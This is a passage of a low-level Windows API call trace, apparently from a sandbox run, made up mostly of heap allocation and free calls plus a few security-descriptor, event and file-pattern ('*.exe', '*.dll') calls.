(in: pSecurityDescriptor=0x638aa8, lpbSaclPresent=0x2df71c, pSacl=0x2df770, lpbSaclDefaulted=0x2df71c | out: lpbSaclPresent=0x2df71c, pSacl=0x2df770, lpbSaclDefaulted=0x2df71c) returned 1 [0188.073] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c318 [0188.073] CreateEventA (lpEventAttributes=0x2df764, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0188.073] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c318) returned 1 [0188.073] GetLastError () returned 0x0 [0188.073] LocalFree (hMem=0x638aa8) returned 0x0 [0188.073] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c318 [0188.073] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x340048 [0188.073] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2d0 [0188.073] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2d0) returned 1 [0188.073] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x340048) returned 1 [0188.074] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x638aa8, lpbSaclPresent=0x2df71c, pSacl=0x2df770, lpbSaclDefaulted=0x2df71c | out: lpbSaclPresent=0x2df71c, pSacl=0x2df770, lpbSaclDefaulted=0x2df71c) returned 1 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2d0 [0188.074] CreateEventA (lpEventAttributes=0x2df764, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2d0) returned 1 [0188.074] GetLastError () returned 0x0 [0188.074] LocalFree (hMem=0x638aa8) returned 0x0 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x340048 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bb80 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2d0 [0188.074] Wow64DisableWow64FsRedirection (in: OldValue=0x2df798 | out: OldValue=0x2df798*=0x0) returned 1 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x342850 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x342850) returned 1 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x342850 [0188.074] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.074] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d600 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2b8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2a8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d600) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d600 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.075] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.075] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2a8) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2b8) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d600) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x342850) returned 1 [0188.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119d9d0 [0188.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c1f8, cbMultiByte=5, lpWideCharStr=0x119d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119da58 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d9d0) returned 1 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d600 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119d9d0 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119da58) returned 1 [0188.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119da58 [0188.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c288, cbMultiByte=5, lpWideCharStr=0x119da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dae0 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119da58) returned 1 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119da58 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dae0) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x342850 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.076] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.076] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d298 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119bc08 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d278 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d268 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x345058 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d248 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e8 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d238 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c630 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d228 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c678 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d218 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c6c0 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d208 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c708 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1e8 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c750 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1f8 [0188.077] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c798 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.077] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d298) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d288) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d278) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d268) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc08) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d5e8 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d268 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d278 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d288 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119bc08 [0188.078] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d298 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.078] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5e8) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d248) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c630) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d238) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c678) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d228) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c6c0) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d218) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c708) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d208) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c750) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1e8) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c798) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1f8) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x345058) returned 1 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x345058 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1f8 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c798 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d1e8 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c750 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d208 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c708 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d218 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c6c0 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d228 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c678 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d238 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c630 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d248 [0188.079] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e8 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d268) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d278) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d288) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c168) returned 1 [0188.079] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d298) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1b0) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2d8) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f8) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2c8) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc08) returned 1 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119bc08 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c8 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f8 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d8 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1b0 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d298 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c168 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d288 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d278 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c240 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d268 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d258 [0188.080] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c798) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d1f8) returned 1 [0188.080] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c750) returned 1 [0188.080] RtlFreeHeap 